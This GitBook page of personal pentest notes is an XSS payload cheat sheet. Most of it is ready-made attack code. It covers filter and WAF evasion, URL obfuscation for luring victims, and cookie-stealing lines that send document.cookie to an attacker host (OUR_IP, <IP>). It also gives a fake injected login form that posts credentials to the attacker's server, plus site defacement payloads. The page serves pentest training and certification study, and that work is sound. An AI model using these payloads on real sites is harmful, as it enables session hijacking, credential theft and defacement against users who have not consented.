Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
          • Linkvortex
          • Underpass
        • Medium
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard
      • Windows
        • Easy
          • Jerry
          • NetMon
        • Medium
        • Hard
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • Cross Site Scripting (XSS)
  • Introduction
  • XSS Useful References
  • XSS Tools
  • Basic XSS Payloads
  • XSS Filters & WAFs Evasion
  • XSS Payloads Delivery
  • XSS - Other Attacks
  • Miscellaneous
  • XSS
  • Stored XSS
  • Reflected XSS
  • Further Reading
  1. Pentest Notes
  2. Web Applications
  3. Web Attacks

Cross Site Scripting (XSS)

PreviousWeb AttacksNextSQL Injection (SQLi)

Last updated 7 days ago

Cross Site Scripting (XSS)

Introduction

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. XSS normally allows an attacker to masquerade as a victim user, carrying out any actions that the user is able to perform and accessing any of the user's data. Source:


XSS Useful References

Awesome labs to train your XSS skills:


XSS Tools


Basic XSS Payloads

Code
Description

<script>alert(window.origin)</script>

Basic XSS Payload

<plaintext>

Basic XSS Payload

<script>print()</script>

Basic XSS Payload

<img src="" onerror=alert(window.origin)>

HTML-based XSS Payload

<script src="http://OUR_IP/script.js"></script>

Load remote script

<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>

Send Cookie details to us


XSS Filters & WAFs Evasion

Web Application Firewalls (WAFs) inspect requests, analyse payloads, and apply predefined rule sets to identify and block any malicious traffic.

WAFs can protect web applications by leveraging various techniques such as signature-based pattern matching, behaviour analysis, and anomaly detection.

This section focuses on different methods which could help you bypassing XSS filters, whether they are in place due to the web application's implementation or due to a Web Application Firewall. If you are not sure whether the web application is protected by a WAF, some basic fingerprinting checks you can perform are the following:

  • Check if there are cookie values set by the WAF Example: F5 BIG-IP ASM releases cookies starting with TS

  • Server headers or any other uncommon header

  • Sometimes, the HTTP body contains some hints about the WAF in place.


Extra Hints & Tricks

  • If alert() is filtered, a valid (and less filtered) alternative is confirm()

  • You can close tags using // rather than >

  • Sometimes, you can access DOM Objects by just specifying their name. Instead of using document.cookie and document.domain you can use cookie and domain respectively.

  • http(s):// can be shortened to // or /\\ or \\.

  • Quotes are not required as long as you are not using spaces. For example you can use <img src=http://example.com without specifying any quotes.

  • If all HTML tags are filtered, you can sometimes use custom ones, for example: <22>alert()</22>

Alternative Encodings

If your characters are being filtered, a good starting point is trying the following alternative encodings

Char
HTML
Numeric Decimal
JS UniCode
Num. Hexadecimal
CSS (ISO)
JS (Octal)
URL

"

&quot;

&#34;

\u0022

u+0022

\0022

\42

%22

#

&num;

&#35;

\u0023

u+0023

\0023

\43

%23

$

&dollar;

&#36;

\u0024

u+0024

\0024

\44

%24

%

&percnt;

&#37;

\u0025

u+0025

\0025

\45

%25

&

&amp;

&#38;

\u0026

u+0026

\0026

\46

%26

'

&apos;

&#39;

\u0027

u+0027

\0027

\47

%27

(

&lpar;

&#40;

\u0028

u+0028

\0028

\50

%28

)

&rpar;

&#41;

\u0029

u+0029

\0029

\51

%29

*

&ast;

&#42;

\u002a

u+002A

\002a

\52

%2A

+

&plus;

&#43;

\u002b

u+002B

\002b

\53

%2B

,

&comma;

&#44;

\u002c

u+002C

\002c

\54

%2C

-

&minus;

&#45;

\u002d

u+002D

\002d

\55

%2D

.

&period;

&#46;

\u002e

u+002E

\002e

\56

%2E

/

&sol;

&#47;

\u002f

u+002F

\002f

\57

%2F

:

&colon;

&#58;

\u003a

u+003A

\003a

\72

%3A

;

&semi;

&#59;

\u003b

u+003B

\003b

\73

%3B

<

&lt;

&#60;

\u003c

u+003C

\003c

\74

%3C

=

&equals;

&#61;

\u003d

u+003D

\003d

\75

%3D

>

&gt;

&#62;

\u003e

u+003E

\003e

\76

%3E

?

&quest;

&#63;

\u003f

u+003F

\003f

\77

%3F

@

&commat;

&#64;

\u0040

u+0040

\0040

\100

%40

[

&lsqb;

&#91;

\u005b

u+005B

\005b

\133

%5B

\

&bsol;

&#92;

\u005c

u+005C

\005c

\134

%5C

]

&rsqb;

&#93;

\u005d

u+005D

\005d

\135

%5D

^

&Hat;

&#94;

\u005e

u+005E

\005e

\136

%5E

_

&lowbar;

&#95;

\u005f

u+005F

\005f

\137

%5F

`

&grave;

&#96;

\u0060

u+0060

\0060

\u0060

%60

{

&lcub;

&#123;

\u007b

u+007b

\007b

\173

%7b

|

&verbar;

&#124;

\u007c

u+007c

\007c

\174

%7c

}

&rcub;

&#125;

\u007d

u+007d

\007d

\175

%7d


Basic Bypasses

Whenever facing filters or blacklists on your special characters or javascript payloads, try using the following basic bypasses and alternative representations.


Alert alternatives

If alert('xss') or alert(1) are filtered, try using:

  • prompt('xss') or prompt(1)

  • confirm('xss') or confirm(1)

  • alert(/xss/.source)

  • windows/alert/.source


OnError alternatives

If onerror=alert(1) is filtered, try using:

  • onload=alert(1)

  • onfocus=alert(1) combined with autofocus=true

  • setTimeout(alert(1))

  • setInterval(alert(1))

  • Function(alert(1))()

  • setImmediate(alert(1)) [notice that this only works on IE 10+]


Img tag alternatives

If an img payload such as <img src=x onerror=alert(1)> is filtered, try using:

  • <svg/onload=alert(1)>

  • <video src=x onerror=alert(1)>

  • <audio src=x onerror=alert(1)>


Using Base64 encoded payloads

You can bypass many blacklist-based filters by using Base64-encoded payloads.

Generally speaking, you can generate the Base64-encoding of any payload and use it inside the atob JavaScript function. In particular, just use

atob("<BASE64-PAYLOAD-ENCODING>")

You could also use other base64 encoded payloads such as the following alternative to javascript:alert('XSS'): data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=


Using JavaScript Unicode Characters

Some filters can be bypassed by using the JavaScript Unicode escape sequences to represent any blacklisted word or character.

For example, if alert is blacklisted, you can use \u0061lert, where \u0061 is the Unicode escape sequence for the lowercase letter a.

A valid payload to bypass the previous blacklist example is: <script>\u0061lert(document.cookie)</script>

To represent the character ‘a’ using a Unicode escape sequence, you would use \u0061 because the Unicode code point for 'A' is 0x61 in hexadecimal.

You can use the following JavaScript code in your browser’s console to quickly gain the unicode values you need

let asciiStr = “a”;
let unicodeHexStr = asciiStr.split('').map(c => '\\u' + ('000' + c.charCodeAt(0).toString(16)).slice(-4)).join('');
console.log(unicodeHexStr)

Unicode Normalization

Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing

Depending on how the back-end/front-end is behaving when it receives weird unicode characters an attacker might be able to bypass protections and inject arbitrary characters. Indeed, sometimes, unicode normalization even allows bypassing WAFs in place.

Two lists of unicode normalized characters can be found at:

If you prefer, you can also find a list of copy-paste unicode normalized characters below:

Character
Unicode Normalization

<

%EF%BC%9C

>

%EF%BC%9E

≮

%e2%89%ae

&#x226e;

﹤

%ef%b9%a4 &#xfe64;

<

%ef%bc%9c &#xff1c;

≯

%e2%89%af &#x226f;

﹥

%ef%b9%a5 &#xfe65;

>

%ef%bc%9e &#xff1e;

'

%ef%bc%87

"

%ef%bc%82

=

%e2%81%bc

/

%ef%bc%8f

Bypass Using JSFuck

JSFuck is an esoteric JavaScript programming language that only uses the following 6 characters to write any JavaScript code: []()!+

The following represents an alert(1) payload written in JSFuck

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()

XSS Payloads Delivery

Exploiting XSS vulnerabilities requires users to land on the vulnerable URL, meaning that you will need to use some degree of social engineering to correctly deliver the URL containing your payload.

The URL obfuscation techniques in this section can be handy in bypassing a filtered system, or to just shorten the vector to respect a length limit.


URL Shortening Obfuscation

You can use known URL shorteners (or host your own) to basically hide the malicious link you are pointing to.

Since this technique has started to spread as an attack vector to send links to malicious resources, some service providers have implemented features to preview where the shortened links points.

You can use shorteners such as:


URL UserInfo Obfuscation

UserInfo is a subcomponent used to specify the credentials to authenticate to a specified resource. If the resource requires no authentication, this subcomponent is ignored by both the browser and the server.

Not all browsers freely allow using the UserInfo subcomponent:

  • Firefox and Opera show alert messages to notify the user.

  • Google Chrome allows this behaviour silently!

The UserInfo subcomponent is normally used as follows: username:password@google.com

You can obfuscate your malicious URL by using a trusty-looking userinfo value such as www.google.com:searchqwhatever@google.com

Also notice that userinfo allows UniCode characters! An example is: 위키백과:대문:위키백과:대문@google.com


URL Alternative Representations

You can obfuscate the host subcomponent by using different alternative representations for it. Rather than using the standard hostname or dotted-decimal IP representations, you can use the following alternatives.

It is also possible to mix the representations below to make an hybrid. Also, this tool can help you generating the alternative representations quicker: http://www.silisoftware.com/tools/ipconverter.php


DWORD (Double Word)

The IP address is translated in an equivalent 16bit number. For example, one of Google's IP addresses (216.58.215.78) can be translated to 3627734862, meaning that it can be accessed using http://3627734862.

To obtain the DWORD for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser

console.log("192.168.1.1".split('.').reduce((dword, octet) => (dword << 8) + Number(octet), 0) >>> 0);

OCTAL

An IP address can also be represented in Octal form by converting the IP to base8. The result, still using Google's IP is: http://0330.0072.0327.0116

We can also "feed" each number by adding leading zeroes without break the original value as follows: http://0000000330.0000000072.0000000327.000000116 This extra case, however, does not work in Internet Explorer.

To obtain the Octal for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser

console.log("192.168.1.1".split('.').map(octet => '0' + (+octet).toString(8)).join('.'));

HEXADECIMAL

An IP address can also be represented in Hexadecimal form by converting the IP to base16. The result, still using Google's IP is: http://0xd83ad74e

Each number can also be separated like this: http://0xd8.0x3a.0xd7.0x4e

To obtain the Hexadecimal for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser:

console.log("192.168.1.1".split('.').map(octet => '0x' + (+octet).toString(16)).join('.'));

Using Tabs and Newlines

You can use tabs (&Tab;) and newlines (&NewLine;) in JavaScript to bypass some WAFs or blacklists. The following is a basic payload to bypass a blacklist on the word javascript:

<a href=j%26Tab%3bavascript%26colon%3balert()>a</a>

Other more complex payloads using this technique:

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>

XSS - Other Attacks

XSS attacks are not just about popping the alert message containing cookies.

This section describes some alternative attacks you can perform by exploiting XSS vulnerabilities


Open Redirect to XSS

Whenever you are facing a web application which is vulnerable to Open Redirects, it might also be the case that the same vector can be used to gain XSS.

An example might be a website which allows for open redirects by leveraging a GET parameter, such as the following: vulnerable.com/test.php?redirect_url={value}

Instead of using the standard http or https protocols followed by your attacker website, you might insert a javascript payload as the value of the redirect_url parameter. For example, you could navigate to the following URL to pop an alert: vulnerable.com/test.php?redirect_url=javascript:alert(document.domain)


XSS Session Hijacking

  • Use the following XSS Payload: <script src=http://OUR_IP/script.js></script>

  • On the attacker machine, write one of the following payload inside a file named script.js:

    1. new Image().src='http://OUR_IP/index.php?c='+document.cookie

    2. document.location='http://OUR_IP/index.php?c='+document.cookie;


XSS Phishing

After that, you can use tools such as urlcrazy to generate domain names similar to the one you are trying to target via the commandline, e.g. you can just use urlcrazy www.example.com to generate all the useful, similar domain names for phishing attempts

Another form of XSS phishing can be obtained by leveraging stored XSS vulnerabilities to inject a fake login form that sends the credentials to our attacker server

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

XSS Defacing

  • Defacing means changing the website's appearance for anyone who visits the website

  • The website's appearance can be changed using injected Javascript code

  • Note: This requires a stored XSS Vulnerability

Defacing Payload
Description

<script>document.body.style.background = "#141d2b"</script>

Change website background color

<script>document.body.background = "https://example.com/images/logo.svg"</script>

Change website background image

<script>document.title = 'New Title'</script>

Change website title

document.getElementById("todo").innerHTML = "New Text"

Change HTML element/DOM text using innerHTML

Miscellaneous

XSS via HTML base tag injection

The HTML <base> tag specifies the base URL for all relative URLs in a document.

It’s a feature that simplifies document editing and management, but can easily be exploited by attackers who can inject a base tag URL inside the HTML document.

If you can inject a malicious base tag (or itrs URL), then all relative paths defined inside the injected HTML page will refer to the base URL defined inside it.

Considering that many pages will include JavaScript files using relative URLs, you might be able to obtain an XSS from this HTML injection attack.

A basic example is the following:

# Consider you have injected the following base tag:
<base href="https://yourserver.example/" />

# The injected HTML page contains a script loaded using a relative URL, such as:
<script src="/static/script.js">

# This means you can write the "/static/script.js" file on your webserver
# to perform an XSS attack, as the injected page will load the script located
# at the following URL: https://yourserver.example/static/script.js

Bypassing HTTPOnly - Cross Site Tracing (XST)

A Cross-Site Tracing (XST) attack involves the use of Cross-site Scripting (XSS) and the TRACE or TRACK HTTP methods.

The HTTP TRACE method allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.

The TRACK method works in the same way but is specific to Microsoft’s IIS web server.

Using XST, an attacker can steal user’s cookies even if they have the “HttpOnly” flag, as the TRACE method will reflect back the input user’s request, revealing any Cookies or Authorization header.

This technique is quite old: modern browsers typically block the HTTP TRACE method inside scripting languages and libraries. The only way to effectively leverage XST is to use existing alternatives to JavaScript such as Java

XSS

Payloads

# Standard XSS Payload
<script>alert('XSS');</script>

# Input tag escape
"><script>alert('XSS');</script>

# Escape textarea tag
</textarea><script>alert('XSS');</script>

# Escape Javascript code
';alert('XSS');//

# Bypass filters that strip out malicious words such like "script"
<sscriptcript>alert('XSS');</sscriptcript>

# Polygot payload (Can bypass multiple filters)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS)//>\x3e

Payload List

Stored XSS

Defacing HTML Titles

Stored XSS can allow opportunity to deface web applications through various methods. One such method may allow for HTML titles and elements to be changed. In the example below we will be altering the HTML title "XSS playground".

Firstly, we need to identify the Element ID for the title. Using the browser's inspector we can identify the Element ID where we can see the string:

<span id="thm-title">XSS Playground"</span>

As shown in the browser inspector:

The following payload can be used to alter the title. This payload can be inserted into the comment section on the web application.

<script>document.getElementById('thm-title').innerHTML="Defaced";</script>

After the payload has been inserted we can see where the HTML title has now been changed.

Payloads for changing Element ID

<script>document.getElementById('ID').innerHTML="Defaced";</script>
<script>document.querySelector('#ID').textContent = 'Defaced'</script>

Cookie Stealing

Cookie stealing can be performed via Reflected and Stored XSS. With Stored XSS anyone who visits the affected web page can have their cookie sent to an adversary. This cookie can then be used to potentially log into the application as the victims user account.

The script linked below is used to set up a HTTP server on the attackers machine which will catch cookies from an unsuspecting users browser session when they active the stored XSS.

After the script has been downloaded alter the variables shown below to point back to the attacking system and then run the script with Python.

After the script is setup and running the attacker injects the Stored XSS payload as shown below onto the vulnerable web page.

<script>var i=new Image;i.src="http://<IP>/?"+document.cookie;</script>

When the victim nexts visits the affected web page their cookie will be sent to the attacker.

Where the script receives the cookie:

The cookie is then placed into the attackers browser session.

After a page refresh by the adversary we see they are now logged in as the victim' s user account.

Reflected XSS

Reflected XSS "reflects" the injected script back to the victims browser through various methods such as search functions, forms and as part of script contained within a URL.

Simple payload for proof of concept:

<script>alert('Hello')</script>

The page shown below reflects the search query into the URL of the web application. Using the payload shown above we can see how this is reflected back on the web page.

From above we can also see how this affects the URL for the web page.

http://<IP>/reflected?keyword=%3Cscript%3Ealert%28%27Hello%27%29%3C%2Fscript%3E

Grabbing machine IP

<script>alert(window.location.hostname)</script>

Further Reading

Use automated tools, such as

Many more infos and WAF fingerprinting techniques can be found here:

You can find find a great article about this topic here:

I made a tool to help converting characters to their corresponding unicode normalized value, which I suggest to anyone. You can find my helper tool to perform Unicode Normalization here:

The (very) basic idea behind JSFuck is that you can recreate all JavaScript functionalities using such a limited set of characters because JavaScript is a weakly typed programming language, meaning that it allows the evaluation of any expression as any type. If you want to know more about its inner workings, check out this .

Triggering an alert(1) message in Firefox's console using JSFuck

Link: GitHub Repo:

You can use wget or other tools such as to clone a website's content.

OWASP provides several about this attack that you can check out.

Script: \

GitHub:

📝
🕸️
https://portswigger.net/web-security/cross-site-scripting
https://xssy.uk/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
https://github.com/s0md3v/AwesomeXSS?tab=readme-ov-file#awesome-bypassing
https://github.com/payloadbox/xss-payload-list
https://github.com/terjanq/Tiny-XSS-Payloads
https://github.com/xsuperbug/payloads/
https://github.com/alessio-romano/UniXSS
https://github.com/s0md3v/XSStrike
https://github.com/rajeshmajumdar/BruteXSS
